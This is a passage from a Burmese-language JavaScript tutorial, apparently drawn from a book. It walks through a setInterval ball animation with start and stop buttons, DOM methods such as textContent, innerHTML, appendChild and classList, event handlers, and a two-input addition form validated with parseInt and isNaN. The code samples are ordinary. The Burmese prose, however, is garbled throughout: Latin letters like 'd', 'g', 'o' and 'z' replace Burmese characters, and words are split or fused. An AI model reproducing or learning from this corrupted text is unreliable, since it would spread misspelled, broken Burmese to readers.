အချနိ်  dရာကd်တာ့မှ  Callback Function  ကို  အလုပ်လုပ်dပးတာပါ။ ဒါdပမယ့်  setTimeout() က
တစ်ကြကိမ်ပဲ  လုပ်ပြပီး  setInterval() ကdတာ့  ထပ်ခါထပ်ခါ  လုပ်သွားမှာပဲ  goစ်ပါတယ်။  နမူနာမှာ
setInterval() ရဲ့ ဒုတိယ Argument ကို  10  လ့ုိdပးထားတဲ့အတွက်  10 မီလီစက္ကန့်gပည့်တိုင်း တစ်
ကြကိမ် ထပ်ခါထပ်ခါ အလုပ်လုပ်သွားမှာ goစ်ပါတယ်။

zာdတွ လုပ်သွားတာလဲဆိုdတာ့ dရးထားတဲ့ကုဒ်ကို dလ့လာeကည့်ပါ။  left ကို  1  တိုးdပးထားတာပါ။
ဒါdeကာင့်  10  မီလီစက္ကန့်တိုင်းမှာ  1px စီzယ်ကdနညာကို  dရွ့ သွားမှာ goစ်ပါတယ်။ အ့ဲဒီလုိdရွ့သွားတဲ့
အခါပင်မ  box Element  ထက်dတာ့ dကျာ်မသွားdစချင်ပါzူး။ ဒါdeကာင့်  box ရဲ့  width goစ်တဲ့  800
ကို  dကျာ်သွားခဲ့ရင်  left တန်oုိးကို  0  gပန်လုပ်dပးရမှာပါ။  နမူနာမှာ  800  လ့ုိ  မသတ်မှတ်zဲ  790  ကို
dကျာ်သွားရင် 0 goစ်ရမယ်လ့ုိ gပန်သတ်မှတ် ထားတာကdတာ့ box width + (padding * 2) –
ball width ကိုတွက်ယူထားတာ မုိ့လ့ုိပါ။  CSS Box Model ကိုdလ့လာoူးရင် Padding deကာင့် Box
အရွယ်အစား  dgပာင်းပံုကို  သိeကပြပီးgoစ်မှာပါ။  မိမိနှစ်သက်ရာတန်oုိးdတွ  အမျ ို းမျ ို းအတိုးအdလျှာ့dgပာင်း
ပြပီး စမ်းeကည့်သင့်ပါတယ်။

တစ်ကယ်dတာ့ ဒီလုပ်dဆာင်ချက် ရo့ုိအတွက် JavaScript ကုဒ်dတွ မလုိdသးပါzူး၊ CSS Animation နဲ့
တင်  လုပ်လ့ုိရနိုင်ပါတယ်။  ဒါdပမယ့်  HTML  Element  dတွကို  JavaScript  နဲ့  စီမံနိုင်တယ်ဆိုတဲ့
သdzာသzာဝ  နမူနာကို  ရdစo့ုိအတွက်  doာ်gပလိုက်တာပါ။  dရးလက်စနဲ့  စဉ်းစားစရာ  Condition
Logic dလးတစ်ချ ို ့ ထပ်goည့်ပါဦးမယ်။

လက်ရှိနမူနာမှာ  ball dလးက  အဆုံးကိုdရာက်ရင်  အစကို  ချက်ချင်းgပန်dရာက်သွားပါတယ်။  အ့ဲဒီလုိ
ချက်ချင်းgပန်dရာက်မယ့်အစား  တစd်ရွ့dရွ့နဲ့  အဆုံးကိုdရာက်သွားရင်  တစ်dရွ့dရွ့နဲ့ပဲ  အစကို  gပန်သွား
dအာင် လုပ်eကည့်ချင်ပါတယ်။ dရးထားတဲ့ကုဒ်ကို ဒီလုိgပင်dပးရမှာပါ။
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 HTML & JavaScript 
<script>
    let ball = document.querySelector("#ball")
    
    let left = 0
    let direction = "right"
    setInterval(() => {
        if(direction === "right") {
            left += 1
            if(left > 790) direction = "left"
        } else {
            left -= 1
            if(left < 1) direction = "right"
        }

        ball.style.left = `${left}px`
    }, 10)
</script>

နမူနာမှာ  direction Variable  တစ်ခု  ပါသွားပါပြပီ။  setInterval() ထဲမှာ  direction က
right goစ်မှ left တန်oုိးကို 1 တိုးထားပါတယ်။ မဟုတz်ူးဆိုရင် 1 နှုတ်ထားပါတယ်။ ဒါdeကာင့် တစ်
dရွ့ dရွ့  1  တိုးပြပီးသွားရာကdန အဆုံးကိုdရာက်တဲ့အခါ  တစ်dရွ့dရွ့  1  နှုတ်ပြပီး  gပန်လာမှာ  goစ်ပါတယ်။
dရးထားတဲ့ကုဒ်ကို  dလ့လာပြပီး  dသချာစဉ်းစားeကည့်ပါ။  ပရိုZရမ်းမင်းဆိုတာ ဒီလုိပဲ  Logic  dလးdတွကို
စဉ်းစားdတွးdခါ် အသံုးချရတာမျ ို းပါ။

ဆက်လက်ပြပီးdတာ့ dရွ့dနတဲ့ ball dလးကို ကြကိုက်တဲ့အချနိ် ရပ်လ့ုိ/gပန်စလ့ုိ ရတ့ဲ လုပ်dဆာင်ချက် ထပ်
ထည့်ပါဦးမယ်။ ဒီအတွက် onClick လ့ုိdခါ်တဲ့ HTML Attribute ကို သံုးနိုင်ပါတယ်။ dရးလက်စ HTML
Structure ထဲမှာ အခုလုိ <button> Element နှစ်ခု ထည့်dပးပါ။ 

 HTML 
<button onClick="start()">Start</button>
<button onClick="stop()">Stop</button>
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Button dတွမှာ onClick Attribute ကိုယ်စီပါပြပီး တန်oုိးအdနနဲ့ JavaScript ကုဒ်ကို dပးရပါတယ်။ နမူ
နာအရ Start Button ကိုနှိပ်ရင် start() Function ကိုdခါ်ထားပြပီး Stop Button ကိုနှိပ်ရင် stop()
Function ကို dခါ်ထားပါတယ်။ dရးလက်စ JavaScript ကုဒ်ကို အခုလုိgပင်dပးပါ။

 HံTML & JavaScript 

<script>
    let ball = document.querySelector("#ball")
    let left = 0
    let direction = "right"
    let interval = setInterval(move, 10)
    function move() {
        if(direction === "right") {
            left += 1
            if(left > 790) direction = "left"
        } else {
            left -= 1
            if(left < 1) direction = "right"
        }

        ball.style.left = `${left}px`
    }

    function start() {
        interval = setInterval(move, 10)
    }

    function stop() {
        clearInterval(interval)
    }
</script>

dစာdစာက  Arrow  Function  နဲ့  dရးထားတဲ့  setInterval() အတွက်  Callback  Function  ကို
move  ဆိုတဲ့အမည်နဲ့ သီးgခား  Function  အgoစ် ခွဲထုတ်လုိက်တာပါ။ ပြပီးdတာ့မှ  setInterval() ရဲ့
Callback dနရာမှာ move() ကို gပန်dပးလုိက်ပါတယ်။ ထူးgခားချက်အdနနဲ့ setInterval() ကgပန်
dပးတဲ့ ရလဒ်ကို interval Variable ထဲမှာ ထည့်ထားတာကို သတိgပုပါ။
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ဆက်လက်ပြပီး  start() Function  နဲ့  stop() Function  တို့ကို  dရးထားပါတယ်။  start()
Function က setInterval() ကိုပဲ dနာက်တစ်ခါ gပန်  Run ထားတာပါ။ ဒါdeကာင့်နှိပ်လုိက်ရင် dရွ့
တဲ့အလုပ် လုပ်ပါလိမ့်မယ်။  stop() Function  ကdတာ့  clearInterval() လ့ုိdခါ်တဲ့  Standard
Function ကိုသံုးပြပီး  Run လက်စ interval() ကို ရပ်လုိက်တာပါ။ ဒါdeကာင့် နှိပ်လုိက်ရင် ရပ်သွားပါ
လိမ့်မယ်။ စမ်းeကည့်လ့ုိရပါပြပီ။

ကုဒ်dတွကို  အဆင့်လုိက်  အပုိင်းအစdလးdတွ  ခွdဲရးgပထားလို့  အဆင်မdgပရင်  ကုဒ်အgပည့်အစုံကို  ဒီမှာ
dဒါင်းပြပီး စမ်းeကည့်လ့ုိရပါတယ်။

- https://github.com/eimg/javascript-book

DOM Properties & Methods
Element  အတွင်းထဲက  Content  ကို  စီမံလုိရင်  textContent (သ့ုိမဟုတ်)  innerHTML Property
ကိုသံုးနိုင်ပါတယ်။  textContent က  Content  ထဲမှာ  HTML Element  dတွထည့်dပးရင်  Element
အdနနဲ့  အလုပ်မလုပ်zဲ  စာအdနနဲ့ပဲ  gပdပးမှာပါ။  innderHTML ကdတာ့  Content  ထဲမှာ  HTML
Element dတွပါရင် ထည့်အလုပ်လုပ် dပးပါလိမ့်မယ်။

 HTML 
<div id="box1">
   Box One Content
</div>
<div id="box2">
    Box Two Content
</div>

 JavaScript 
document.querySelector("#box1").textContent = "Hello <b>DOM</b>"
document.querySelector("#box2").innerHTML = "Hello <b>DOM</b>"

https://github.com/eimg/javascript-book
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နမူနာမှာ #box1 နဲ့  #box2 နှစ်ခရုှိပြပီး တစ်ခုကို  textContent နဲ့ gပင်ထားပါတယ်။ dနာက်တစ်ခုကို
innerHTML နဲ့ gပင်ထားပါတယ်။ dပးလုိက်တဲ့ Content ကအတူတူပါပဲ။ ရလဒ်ကdတာ့ တူမှာမဟုတ်ပါ
zူး။ ဒီလုိပံုစံgoစ်မှာပါ – 

Hello <b>DOM</b>
Hello DOM

လုိအပ်ချက်dပါ်မူတည်ပြပီး  နှစ်သက်ရာကိုသံုးနိုင်ပါတယ်။  အများအားgoင့်  textContent ကိုသံုးသင့်
တယ်လ့ုိ အကြကံgပုeကပါတယ်။ လံုခြခုံdရးအရပဲeကည့်eကည့်  Performance  အရပဲeကည့်eကည့် ပုိdကာင်းလ့ုိ
ပါ။ မgoစ်မdန လုိအပ်တာdသချာတယ်ဆိုမှသာ innerHTML ကို သံုးသင့်ပါတယ်။

Element ထဲက Content ကို အကုန်gပင်တာမျ ို း မဟုတ်zဲ၊ ထပ်တိုးချင်ရင် appendChild() Method
နဲ့ တိုးတိုင်ပါတယ်။

 HTML 
<div id="box">
    An Element.
</div>

 JavaScript 
let hello = document.createTextNode("Hello DOM.")
document.querySelector("#box").appendChild(hello)

ဒါဆိုရင်  #box Element  ထဲမှာ  Hello  DOM.  ဆိုတဲ့စာကို  ထပ်တိုးdပးသွားမှာပါ။  ဒီလုိထပ်တိုးလ့ုိရo့ုိ
အတွက်  createTextNode() Method  ကိုသံုးပြပီး  အရင်ဆုံး  Text  Node  တစ်ခတုည်dဆာက်dပးရ
တယ်  ဆိုတာကိုdတာ့  သတိgပုပါ။  အကယ်၍  Element  Node  တည်dဆာက်ပြပီး  တိုးချင်ရင်လည်း
createElement() Method ကိုသုံးနိုင်ပါတယ်။
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 JavaScript 
let hello = document.createElement("b")
hello.textContent = "Hello DOM."
document.querySelector("div").appendChild(hello)

ဒီတစ်ခါdတာ့ <b> Element တစ်ခုအရင်dဆာက်လုိက်ပြပီး၊ အ့ဲဒီ <b> Element ထဲမှာ  ထည့်ချင်တဲ့စာကို
textContent နဲ့ထည့်လုိက်ပါတယ်။ ပြပီးdတာ့မှ appendChild() နဲ့ ထပ်တိုးdပးလုိက်တာပါ။

appendChild() Method က ထပ်တိုးတဲ့ Element dတွကို dနာက်ကdနတိုးdပးတာပါ။ dရှ့ကdနတိုး
ချင်ရင် insertBefore() Method ကိုသုံးနိုင်ပါတယ်။ 

 JavaScript 
let hello = document.createElement("b")
hello.textContent = "Hello DOM."

let div = document.querySelector("div")
div.insertBefore(hello, div.firstChild)

insertBefore()  အတွက်  Argument  နှစ်ခုdပးရပါတယ်။  ပထမ  Argument  ကထပ်တိုးချင်တဲ့
Element goစ်ပြပီး ဒုတိယ Argument က zယ်သ့ူdရှ့မှာ ထပ်ထိုးရမှာလဲဆိုတဲ့  Element goစ်ပါတယ်။ နမူ
နာမှာ div ကို အရင်သီးgခား Select  လုပ်လုိက်ပြပီး  div ထဲကို  insertBefore() နဲ့ ထပ်တိုးထားပါ
တယ်။  div.firstChild နဲ့  div ထဲမှာ မူလရှိdနတဲ့  ပထမဆုံး  Child Node  ရဲ့dရှ့ကdန ထပ်တိုး
ခိုင်းလိုက်တာပါ။ တစ်လက်စထဲ Element တစ်ခုအတွင်းက ပထမဆုံး Node ကိုလုိချင်ရင် firstChild
Property ကိုသံုးရတယ်ဆိုတာကိုပါ ထည့်သွင်းမှတ်သားနိုင်ပါတယ်။ dနာက်ဆုံး Node ကို လုိချင်ရင်dတာ့
lastChild Property ကို သံုးနိုင်ပါတယ်။

Element တစ်ခုကို ပယ်oျက်လုိရင်dတာ့ remove() Method ကိုသုံးနိုင်ပါတယ်။
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 JavaScript 
document.querySelector("div").remove()

ဒါဆိုရင် <div> Element ကို Document dပါ်ကdန oယ်oျက်လိုက်မှာပါ။

Element မှာ Attribute dတွသတ်မှတ်o့ုိအတွက် setAttribute() Method ကိုသုံးနိုင်ပါတယ်။

 JavaScript 
let hello = document.createElement("b")
hello.textContent = "Hello DOM."
hello.setAttribute("title", "A new element")
document.querySelector("div").appendChild(hello)

အသစ်တည်dဆာက်လုိက်တဲ့  Element  မှာ  title Attribute  ထည့်dပးလုိက်တာပါ။  Attribute  တန်oုိး
ကို  လုိချင်ရင်  getAttribute() Method  ကိုသုံးနိုင်ပြပီး  Attribute  တန်oုိးကို  ပယ်oျက်လုိရင်
removeAttribute() ကို သံုးနိုင်ပါတယ်။

class dတွကိုစီမံလိုရင်dတာ့  setAttribute() တို့  getAttribute() တို့ကိုပဲ  သံုးရင်ရသလုိ၊
classList Property  ကို  add(), remove(), toggle() Method dတွနဲ့လည်း တွဲသံုးနိုင်ပါ
တယ်။ 

 JavaScript 
let hello = document.createElement("b")
hello.textContent = "Hello DOM."
hello.classList.add("alert", "info")
document.querySelector("div").appendChild(hello)

နမူနာအရ  အသစ်တည်dဆာက်လုိက်တဲ့  Element  မှာ  alert နဲ့  info ဆိုပြပီး  class နှစ်ခုထည့်
dပးလုိက်တာပါ။ ထပ်dပးချင်တဲ့ class dတရွှိရင် Argument စာရင်းထဲမှာ ထပ်တိုးdပးလုိက်ယံုပါပဲ။ gပန်
goုတ်လုိရင်dတာ့  classList.remove() နဲ့goုတ်နိုင်ပါတယ်။ classList.toggle() ကdတာ့
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class မရှရိင် ထည့်dပးပြပီး ရိှdနရင် goုတ်dပးပါတယ်။ ထည့်လုိက်/ထုတ်လုိက် လုပ်o့ုိလုိတဲ့dနရာdတွမှာ
အသံုးဝင်ပါတယ်။

Element တစ်ခုကို မိတ္တူပွားယူချင်ရင် cloneNode() Method ကိုသံုးနိုင်ပါတယ်။

 JavaScript 
let hi = hello.cloneNode(true)

နမူနာအရ dစာdစာက အသစ်တည်dဆာက်ထားတဲ့ hello Element ကို hi ဆိုတဲ့အမည်နဲ့ ပွားယူလုိက်
တာပါ။  Argument  မှာ  true  လ့ုိdပးလုိက်တာကdတာ့  အကုနရ်ှိသမျှပွားယူမယ်ဆိုတဲ့  အဓိပ္ပါယ်ပါ။
အကယ်၍ false ဆိုရင် Element နဲ့ Attribute dတွပဲ ပွားယူပြပီး အထဲက Child dတွ ပါမှာ မဟုတ်ပါzူး။

လက်ရှိ  Element ရဲ့ Parent Node ကို ရယူလုိရင် parentNode Property ကို အသံုးgပုနိုင်ပါတယ်။ ဒါ
လည်း အသံုးဝင်ပါတယ်။ Select လုပ်တဲ့အခါ CSS Selector dရးထံုးအရ Child Selector သာ ရှိပါတယ်။
Parent Selector ဆိုတာ မရှိပါzူး။ ဒါdeကာင့် Parent Element လုိချင်ရင် ဒီနည်းကိုပဲ အသံုးgပုရမှာပါ။

 HTML 
<p>
    Some content <b id="badge">10</b>
</p>

 JavaScript 
let p = document.querySelector("#badge").parentNode

ဒါဟာ #badge Element ရိှdနတဲ့ Parent goစ်တဲ့ <p> ကို Select လုပ်လုိက်တာပါပဲ။

တgခားအသံုးဝင်တဲ့ DOM Manipulation ကုဒ်နမူနာdလးdတွကို ဒီလိပ်စာမှာdလ့လာနိုင်ပါတယ်။

https://htmldom.dev/

https://htmldom.dev/
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Events
တစ်ချ ို ့အလုပ်dတွကို  Click နှိပ်လုိက်dတာ့မှ အလုပ်လုပ်dစချင်တယ်၊ Keyboard က Key တစ်ခုခုကို နှိပ်
လုိက်dတာ့မှ  အလုပ်လုပ်dစချင်တာမျ ို းdတွရှိရင်  Event  Handler  ကို  သံုးနိုင်ပါတယ်။  Event  ဆိုတာ
အdgခအdနတစ်ခုခု goစ်dပါ်dတာ့မှ လုပ်o့ုိ သတ်မှတ်ထားတဲ့ အလုပ်dတွပါ။

ရိှတဲ့ Event dတွကdတာ့ အများကြကီးပါပဲ။ တစ်ချ ို ့ Standard Event dတွgoစ်ပြပီး တစ်ချ ို ့ dနာက်မှ ထပ်တိုး
ထားတဲ့  Event  dတွလည်း ရိှနိုင်ပါတယ်။  Online  goစ်သွားရင် zာလုပ်ရမယ်၊  Offline  goစ်သွားရင် zာ
လုပ်ရမယ်ဆိုတာမျ ို းdတွ  သတ်မှတ်ထားလ့ုိ  ရနိုင်ပါတယ်။  Animation  တစ်ခု  စသွားရင်  zာလုပ်ရမယ်၊
ဆုံးသွားရင် zာလုပ်ရမယ် ဆိုတာမျ ို းdတွ သတ်မှတ်ထားလို့ ရနိုင်ပါတယ်။ Copy ကူးလိုက်ရင် zာလုပ်ရ
မယ်၊ Paste လုပ်လုိက်ရင် zာလုပ်ရမယ် ဆိုတာမျ ို းdတွ သတ်မှတ်ထားလို့ ရနိုင်ပါတယ်။ ဗီွဒီယုိ စသွားရင်
zာလုပ်ရမယ်၊  ဆုံးသွားရင်  zာလုပ်ရမယ်ဆိုတာမျ ို းdတွ  သတ်မှတ်ထားလို့  ရနိုင်ပါတယ်။  Node
အdeကာင်းdgပာတုံးက နမူနာdပးခဲ့တဲ့  on('data') တို့  on('end') တို့ဆိုတာလည်း  Event  dတွပါ
ပဲ။ Data dရာက်လာရင် zာလုပ်ရမယ်၊ ပြပီးသွားရင် zာလုပ်ရမယ်ဆိုတာမျ ို းdတွ သတ်မှတ်ထားတာပါ။

အ့ဲဒီလုိ  Event  dတွအများကြကီး  ရှိတဲ့  ထဲကမှ  အသံုးများမှာdတွကdတာ့  Input  Event  dတွgoစ်ပါတယ်။
Click, Keydown, Keyup, Keypress, Focus, Blur, Change, Submit တို့လုိ Event dတွပါ။ Click Event
က Mouse Click မှာ goစ်dပါ်ပါတယ်။ Keydown, Keyup, Keypress Event dတကွdတာ့ Keyboard က
Key တစ်ခုခုကိုနှိပ်လုိက်ရင် goစ်dပါ်ပါတယ်။ နှိပ်လိုက်ချနိ်၊ လွှတ်လုိက်ချနိ်၊ နှိပ်ပြပီးသွားချနိ် ဆိုပြပီး သုံးခု ခွဲ
ထားတာပါ။  Focus Event ကdတာ့  Focus goစ်သွားချနိ် goစ်dပါ်ပြပီး  Blur ကdတာ့  Focus လွတ်သွားချနိ်
မှာ  goစ်dပါ်ပါတယ်။  Change  ကdတာ့  Input  Value  dgပာင်းသွားချနိ်မှာ  goစ်dပါ်ပါတယ်။  Submit
ကdတာ့ HTML Form တစ်ခုကို Submit လုပ်လုိက်ချနိ်မှာ goစ်dပါ်ပါတယ်။

dနာက်ထပ်အသံုးများမယ့်  Event  dတွကdတာ့  Load  နဲ့  Unload  တို့ပါ။  Document  ကိုoွင့်လုိက်ချနိ်မှာ
Load Event goစ်dပါ်ပြပီး ပိတ်လုိက်ချနိ်မှာ Unload Event goစ်dပါ်ပါတယ်။ ရှိရှိသမျှ Event စာရင်းကို သိ
ချင်ရင် ဒီမှာeကည့်လ့ုိရပါတယ်။

https://developer.mozilla.org/en-US/docs/Web/Events

https://developer.mozilla.org/en-US/docs/Web/Events
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ဒီ Event dတွကို အသုံးgပုပံုgပုနည်း (၃) နည်းရှိပါတယ်။ တစ်နည်းကdတာ့ HTML Event Attribute dတွ
ကို အသံုးgပုနိုင်ပါတယ်။ ပြပီးခဲ့တဲ့ နမူနာမှာလည်း dတွ့ခဲ့ပြပီးသားပါ။

 HTML 
<p id="note">
    Hello World
</p>
<button onClick="hello()">Button</button>

နမူနာအရ <button> Element မှာ onClick Attribute ကိုသံုးပြပီး Click Event goစ်dပါ်တဲ့အခါ လုပ်ရ
မယ့် ကုဒ်ကို သတ်မှတ်dပးထားပါတယ်။ hello() Function ကို dခါ်လုိက်မှာပါ။ ဒါdeကာင့် hello()
Function ရှိdနo့ုိdတာ့လုိပါတယ်။

 HTML & JavaScript 
<script>
    function hello() {
        document.querySelector("#note").textContent = "Hello Event"
    }
</script>

dနာက်တစ်နည်းက  addEventListener() Method  ကို  အသံုးgပုgခင်းgoစ်ပါတယ်။ ဒီနည်းကို  သံုး
မယ်ဆိုရင် HTML Attribute မလိုdတာ့ပါzူး။

 HTML & JavaScript 
<script>
    document.querySelector("button").addEventListener("click", e => {
        document.querySelector("#note").textContent = "Hello Event"
    })
</script>

addEventListener() Method  အတွက်  Argument  နှစ်ခုdပးရပါတယ်။  Event  အမျ ို းအစားနဲ့
Event  goစ်dပါ်တဲ့အခါ  လုပ်ရမယ့်  Callback  Function  တို့ပါ။  ဒါdeကာင့်  နမူနာအရ  <button> မှာ
click Event  goစ်dပါ်တဲ့အခါ  #note Element  ရဲ့  textContent dgပာင်းသွားမှာပါ။  Event
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Callback  ရဲ့  e Parameter  ထဲမှာ  Click Event  ဆိရုင်  Left Click  လား၊  Right Click  လား။  Keypress
Event ဆိရုင် zယ် Key ကိုနှိပ်တာလဲ၊ စသည်goင့် Event နဲ့သက်ဆိုင်တဲ့ အချက်အလက်dတွ ရှိdနမှာgoစ်
ပါတယ်။

dနာက်တစ်နည်းကdတာ့ on နဲ့စတဲ့ Property dတွကို အသုံးgပုရပါတယ်။ onclick, onkeydown,
onfocus စသည်goင့် dရးလ့ုိရပါတယ်။

 HTML & JavaScript 
<script>
    document.querySelector("button").onclick = function(e) {
        document.querySelector("#note").textContent = "Hello Event"
    }
</script>

အdgပာင်းအလဲgoစ်သွားdအာင် ရိုးရိုး  Function Expression dgပာင်းdရးထားdပမယ့်  Arrow Function နဲ့
dရးမယ်ဆိုရင်လည်း ရပါတယ်။ အတူတူပါပဲ။ ကျန် Event တစ်ချ ို ့ကို နမူနာdတွနဲ့အတူ ဆက်eကည့်eကပါ
မယ်။

Input Sample
နမူနာကုဒ်လို့တစ်ချ ို ့  ဆက်dရးeကည့်ချင်ပါတယ်။  သိပ်ထူးထူးဆန်းဆန်းကြကီး  မဟုတ်ပါzူး။  <input>
နှစ်ခုdပးထားပြပီး၊  <button> ကိုနှိပ်လုိက်ရင်  <input> dတွမှာ dရးgoည့်ထားတဲ့ တန်oိုးdတွရဲ့ dပါင်း
gခင်းရလဒ်ကို gပdပးတဲ့ ကုဒ်dလးပါ။ အခုလုိdရးစမ်းeကည့်နိုင်ပါတယ်။

 HTML, CSS & JavaScript 
<!DOCTYPE html>
<html>
<head>
    <title>Title</title>
    <style>
        #result {
            font-size: 2em;
            font-weight: bold;
        }
    </style>
</head>
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<body>
    <h1>Add Form</h1>
    <div class="form">
        <div>
            <input type="text" id="a">
        </div>
        <div>
            <input type="text" id="b">
        </div>
        <div id="result"></div>
        <button id="add">Add</button>
    </div>
    <script>
        document.querySelector("#add").onclick = function() {
            let a = document.querySelector("#a").value 
            let b = document.querySelector("#b").value
        
            document.querySelector("#result").textContent = a + b
        }
    </script>
</body>
</html>

dရးထားတဲ့ကုဒ်ကိုdလ့လာeကည့်လုိက်ရင်  #add Button  အတွက်  onclick Property  နဲ့  Click  နှိပ်
လုိက်ရင် လုပ်ရမယ့်အလုပ်ကို သတ်မှတ်dပးထားပါတယ်။ value Property ကိုသုံးပြပီး  Input dတွထဲမှာ
dရးgoည့်ထားတဲ့တန်oုိးကို ယူပြပီးdတာ့ dပါင်းgခင်းရလဒ်ကို #result Element ထဲမှာ gပdပးလုိက်တာပါ။

မှန်dတာ့ မှန်ဦးမှာ မဟုတ်ပါzူး။  1  နဲ့  2  ရိုက်ထည့်ပြပီး ခလုပ်ကိုနှိပ်လုိက်ရင် ရလဒ်က 3  goစ်ရမယ့်အစား
12  goစ်dနမှာပါ။  a  နဲ့  b  ရိုက်ထည့်ပြပီး ခလုပ်နှိပ်လုိက်ရင်  ab  ကိုရလဒ်အdနနဲ့  ရမှာပါ။ zာdeကာင့်လဲဆို
dတာ့ Input dတွမှာ dရးgoည့်ထားတဲ့ တန်oုိးdတွက String dတွgoစ်dနလ့ုိပါ။ ဒါdeကာင့် JavaScript ကုဒ်
ကို အခုလုိgပင်dပးလုိက်ပါ။

 JavaScript 
document.querySelector("#add").onclick = function() {
    let a = document.querySelector("#a").value 
    let b = document.querySelector("#b").value
    let result = parseInt(a) + parseInt(b)
    document.querySelector("#result").textContent = result
}
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ဒီတစ်ခါdတာ့  parseInt() Function  ရဲ့အကူအညီနဲ့  String  ကို  Number  dgပာင်းထားပါတယ်။ ပြပီး
dတာ့မှ dပါင်းတဲ့အတွက် Zဏနေန်းdတွdပါင်းတဲ့အခါ မှန်သွားပါလိမ့်မယ်။

အကယ်၍ Zဏနေန်းမဟုတ်တာdတွ ရိုက်ထည့်ခဲ့မယ်ဆိုရင်dတာ့  NaN  goစ်dနမှာပါ။ ပြပီးdတာ့ zာမှရိုက်ထ
ည့်ရင်လည်း  NaN  goစ်dနမှာပါ။ ဒါdeကာင့် Zဏနေန်းမဟုတ်တဲ့  တန်oုိးdတွgoစ်dနရင် Zဏနေန်းdတွသာ ရိုက်
ထည့်dပးပါလ့ုိ Message Box dလးနဲ့ gပdပးeကပါမယ်။

တန်oုိးက  Number  ဟုတ်မဟုတ်စစ်o့ုိအတွက် နည်းလမ်းနှစ်ခုရှိပါတယ်။ တစ်ခုကdတာ့  Integer  တန်oုိး
ဟုတ်သလားလို့  Number.isInteger() Method  ကိုအသံုးgပု  စစ်dဆးgခင်းgoစ်ပြပီး  dနာက်တစ်မျ ို း
ကdတာ့  isNaN() ကိုအသံုးgပုပြပီး  Number  မဟုတ်zူးလားလို့  dgပာင်းgပန်  စစ်dဆးgခင်းgoစ်ပါတယ်။
အခုလုိ gပင်dရးdပးလုိက်ပါ။

 JavaScript 
document.querySelector("#add").onclick = function() {
    let a = document.querySelector("#a").value 
    let b = document.querySelector("#b").value
    let result = parseInt(a) + parseInt(b)
    if( isNaN(result) ) {
        alert("Please enter correct numbers")
    } else {
        document.querySelector("#result").textContent = result
    }
}

isNaN() ကိုသံုးပြပီး အကယ်၍ result က NaN goစ်dနခဲ့ရင် Message dလးတစ်ခုgပdပးo့ုိ alert()
Method  နဲ့  dရးထားလုိက်ပါတယ်။  NaN  မဟုတ်dတာ့မှသာ ရလဒ်ကိုgပခိုင်းလုိက်တာgoစ်လ့ုိ  အဆင်dgပ
သွားပါပြပီ။

ဒါကိုနည်းနည်းပိုdကာင်းသွားdအာင် ထပ်gပင်ပါဦးမယ်။ ရိုက်ထည့်တဲ့တန်oုိး မမှန်တဲ့အခါ gပတဲ့  Message
ကို  သက်ဆိုင်ရာ  Input  နဲ့အတူ  တွဲgပလုိက်ချင်ပါတယ်။  ဒါdeကာင့်  အခုလုိ  Message  Label  dလးdတွ
HTML ထဲမှာ ထပ်တိုးလိုက်ပါ။
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 JavaScript 
<div class="form">
    <div>
        <input type="text" id="a">
        <label for="a">Please enter correct number</label>
    </div>
    <div>
        <input type="text" id="b">
        <label for="b">Please enter correct number</label>
    </div>
    <div id="result"></div>
    <button id="add">Add</button>
</div>

ပြပီးတဲ့အခါ အ့ဲဒီ Message dလးdတွကို CSS နဲ့အခုလုိ ခဏနေdoျာက်ထားလိုက်ပါ။

 CSS 
label {
    display: none;
    color: red;
}

ပြပီးတဲ့အခါ dစာdစာက JavaScript ကုဒ်ကို အခုလုိ gပင်dပးလုိက်ပါ။

 JavaScript 
document.querySelector("#add").onclick = function() {
    let a = parseInt(document.querySelector("#a").value)
    let b = parseInt(document.querySelector("#b").value)
    if( isNaN(a) ) {
        document.querySelector("[for=a]")
            .style.display = "inline"
    }

    if( isNaN(b) ) {
        document.querySelector("[for=b]")
            .style.display = "inline"
    }

    let result = a + b
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    if( !isNaN(result) ) {
        document.querySelector("#result").textContent = result
    }
}

ဒီတစ်ခါ Input dတွစယူကတည်းက တန်oုိးdတွကို parseInt() လုပ်ထားတာကို သတိgပုပါ။ ပြပီးdတာ့
မှ  isNaN() နဲ့ပဲ  a  ကိုအရင် စစ်လုိက်ပါတယ်။  a  တန်oုိးမမှန်ရင်  querySelector() နဲ့  Attribute
Selector  dရးထံုးကိုသုံးပြပီး  for=a Attribute  ရှိတဲ့  Label  ကို  Select  လုပ်ယူပါတယ်။  CSS  display
ကို none လ့ုိကြကိုdရးပြပီး doျာက်ထားတာgoစ်လ့ုိ display တန်oုိးကို inline လ့ုိgပန်dပးလုိက်တဲ့တွက်
dပါ်လာမှာ goစ်ပါတယ်။  b  အတွက်လည်း အလားတူပဲ စစ်dပးထားပါတယ်။ ဒါdeကာင့် ရလဒ်က အခုလုိ
goစ်မှာပါ – 

လုိချင်တဲ့ပံုစံရသွားdပမယ့် သိပ်dတာ့အဆင်မdgပdသးပါzူး။ Message က တစ်ကြကိမ်dပါ်ပြပီးရင် မှန်ကန်တဲ့
တန်oုိး  ရိုက်ထည့်လုိက်ရင်dတာင်မှ  ဆက်gပdနဦးမှာပါ။  ဒါdeကာင့်  မှန်ကန်တဲ့တန်oုိး  ရိုက်ထည့်လုိက်ရင်
gပန်doျာက်dပးdအာင် dရးပါဦးမယ်။ ဒီအတွက်  <input> dပါ်မှာ Blur, Change, Keyup ဆိုတဲ့  Event
(၃) မျ ို းထဲက နှစ်သက်ရာတစ်ခုကို dရွးသံုးနိုင်ပါတယ်။ 
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Blur ကိုသုံးခဲ့ရင် လက်ရှိ  <input> ရဲ့  Focus လွတ်သွားချနိ်မှာ အလုပ်လုပ်dပးမှာပါ။ Change ကdတာ့
ရိုက်ထည့်လုိက်တဲ့တန်oုိး  dgပာင်းသွားချနိ်  အလုပ်လုပ်dပးမှာပါ။  Keyup  ကdတာ့  Keyboard  ကdန
တစ်ခုခုနှိပ်လုိက်တာနဲ့  အလုပ်လုပ်dပးမှာပါ။  Keyup  နဲ့  နမူနာdပးပါမယ်။ ပုိအဆင်dgပလ့ုိပါ။  Blur  dတွ
Change dတွကိdုတာ့ စမ်းeကည့်ချင်ရင် ကိုယ့်zာသာ dgပာင်းပြပီးစမ်းeကည့်နိုင်ပါတယ်။ ဒီလုိdရးရမှာပါ – 

 JavaScript 
document.querySelector("#a").onkeyup = function() {
    let a = parseInt(document.querySelector("#a").value)
    if( !isNaN(a) ) {
        document.querySelector("[for=a]")
            .style.display = "none"
    }
}

document.querySelector("#b").onkeyup = function() {
    let a = parseInt(document.querySelector("#b").value)
    if( !isNaN(a) ) {
        document.querySelector("[for=b]")
            .style.display = "none"
    }
}

